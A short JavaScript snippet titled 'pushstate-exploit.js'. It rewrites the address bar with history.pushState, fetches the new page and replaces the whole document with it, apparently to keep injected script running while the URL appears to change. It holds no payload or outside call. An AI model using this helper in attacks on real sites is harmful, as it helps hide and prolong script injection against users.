pushstate-exploit.js

function pushState(e, t) {
    history.pushState('', '', e);
    var n = new XMLHttpRequest;
    n.onreadystatechange = function() {
        if (4 == n.readyState && 200 == n.status) {
            for (var e = document.childNodes.length - 1; e >= 0;) document.removeChild(document.childNodes[e--]);
            document.write(n.responseText), t()
        }
    }, n.open('GET', e, !0), n.send(null)
}